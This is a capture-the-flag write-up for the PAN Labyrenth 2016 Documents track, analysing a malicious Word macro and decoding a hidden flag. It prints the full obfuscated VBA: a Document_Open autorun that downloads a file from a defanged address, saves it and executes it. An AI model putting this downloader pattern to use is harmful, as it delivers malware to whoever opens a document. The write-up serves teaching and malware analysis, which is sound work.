On 2016-07-15 at 5pm EST Palo Alto Networks started a Capture the Flag competition with cash prizes called PAN Labyrenth CTF. When I looked at the challenges I noticed that there was a Documents track, and since there was a cash prize to the frist person to complete a given track I thought I’d give it a go..hey $1000 for a few hours is not bad. It only took me a few hours (actually more than I intended because I got stuck overthinking one of the problems), but I don’t think I was the first one to complete the track. Regardless, I thought I’d share the steps I went through to solve each of the challenges.
So to get starting running the CTF you need the initial code for the DOCs track which is found on the getting started page…it was PAN{DOCS_START}. Upon entering this you are given a zip file to download (hash: 846CBD76B491FD6F74212A4259FE933A0FEBF3E5EA93D24A91241EDCD98D5EDC). This file contains two items, one the first document named challenge.doc (hash:9BBEDADF4A5A9CC75DDA5F4CCE7416BEDD1B2221BF80BF6C3CC73DFEE9A337CD), and the second is a file simply named “.7z” (hash:B588AAC998556D1F853AD8C3D4D428CEB26B7D38CFD073CC77C82F4C6EF4FA97). We’ll come back to this file in a little bit (as it is a shortcut), but let start with the other file “”.
So what do you do first? Open the file in word? Are you a n00b or insane? probably a little of both…if you’re going to go this route, please make sure that you’re doing it on a machine you can easily clean and have some sort of network monitoring turned on….or a sandbox of somesort.
So you can just open it if you trust the document or know what you’re doing…but don’t trust it, are you even sure its actually a document? You need a tool to determine as much as you can without running it…this is static analysis. Personal I lean on tools that I’ve written, but there are lots of great tools out there and I’m not trying to steer you away or towards any particular tool…I’m just showing you what I did.
So we run it through my FileId tool and get the VBA code out (using the XML or JSON output options). You could also use many other tools, for example: OleTools by Philippe Lagadec, or OleDump by Didier Stevens. In the end you get this code:
Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer)
Dim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA
vSHOfSrEta = ActiveDocument.Variables("ppKzr").Value()
gsFEVmmIzO = ""
dHLdiEqdts = 1
While dHLdiEqdts < UBound(HGKuttPaRM) + 2
eUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta)
gsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1)))
dHLdiEqdts = dHLdiEqdts + 1
Wend
QklkhFEQNB = gsFEVmmIzO
End Function
Public Function BkAIuNwQNDkohBY()
twOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _
78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _
12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _
9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _
2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _
30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _
62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _
1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24)
UkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188)
Dim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0))
Dim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176))
xHttp.Open UkIWIEtqCF, twOvwCSTPL, False
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2
End With
Shell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17))
End Function
Private Sub Document_Open()
If ActiveDocument.Variables("ppKzr").Value <> "toto" Then
BkAIuNwQNDkohBY
ActiveDocument.Variables("ppKzr").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub
Looking at this code I can see a couple of things that stand out:
- the QklkhFEQNB function is the string deobfuscation function. You can tell this by its frequency of use and its always called before the string is needed (look for CreateObject)
- it does have an autorun functionality (i.e. “Document_Open”), so if we had opened the file and ran the macros it would have done its business
What is its business, well without too much digging we can see that it has a variable named xHttp and xStrm in the BkAIuNwQNDkohBY function and we can see that there is a Shell command. Often variable names are also obfuscated in malicious documents so the fact that they aren’t kind of stands out. So it downloads something, saves it to disk, and executes it.
So first things first we want to see to where it calls home. To accomplish this we have the deobfuscation function in VBA, so lets open M$Word, create a new document, open up the VBA Editor and drop it in.
If you do this you will see that it won’t quite work that simply. If you look carefully at the deobfuscation function you’ll notice it references a document variable:
ActiveDocument.Variables("ppKzr").Value()
and in the Document_Open subroutine it references this same variable and sets it to “toto”. Knee-jerk reaction replace that with the static string “toto”….nope won’t work, remember the way the code is written it must NOT be “toto” at first. So we have a couple of options at this point:
- We can brute force the value for the “ppKzr” variable
- We can try to look up the value
- We can just run it though a sandbox, or something monitoring the network traffic involved
At this point I honestly went with option #3 (but we’ll come back to the other two options in other documents in this CTF track)…it was easy and quick.
In the end we have this URL that it tries to call home to (defanged):
hXXp://{REDACTED RFC1918 IPv4}/b64/x58/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=/evil.executes
well that IP doesn’t help us, its a RFC1918 (or via Wikipedia) private block…but hmmm, that blob in the middle looks base64 encoded…and it even says “b64” but it also has a 0x58 before the blob…we’ll come back to that. So you run the “MDgx…jU=” string through your base64 decoder of choice (I used powershell):
$s1 = "MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU="
[Convert]::FromBase64String($s1)
You run the above and you’ll get an error immediate error:
Exception calling "FromBase64String" with "1" argument(s): "The input is not a valid Base-64 string as it contains a non-base 64
character, more than two padding characters, or an illegal character among the padding characters. "
Not a valid base64 string?? hmmm…lets look at that string again…wait there’s a “\n” in that string….ok so we can either take it out or make sure powershell properly escapes it…just change “\n” to “`n” as this is how powershell escapes stuff. So we run it through the base64 decoding function again and it works…but its just a bunch of bytes…but wait there all in a small range. Taking a guess that its an ASCII string I’ll run this powershell command:
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($s1))
boom and I get a string (shortened for brevity):
081916230e3102313a696b07683634216...68071336682f072f306b2a6b6a3468683325
well that isn’t very interesting, but I think I’m stil on the right track. Now I need to go back to the 0x58…hmmm…I wonder if this an XOR string and perhaps the 0x58 is the key. How would I check this? I’ll turn to another tool DataConverter by Kahu Security (of course there are other tools…)
So I put our string in and mark it as Hex format (looks hex to me), and enter our hex key 0x58 and we get (key is REDACTED for you pleasure):
PAN{_REDACTED_}
huh…PAN{blahblahblah} that looks like the key we entered to get this started…lets try it out…
POOF
…it works and we get doc02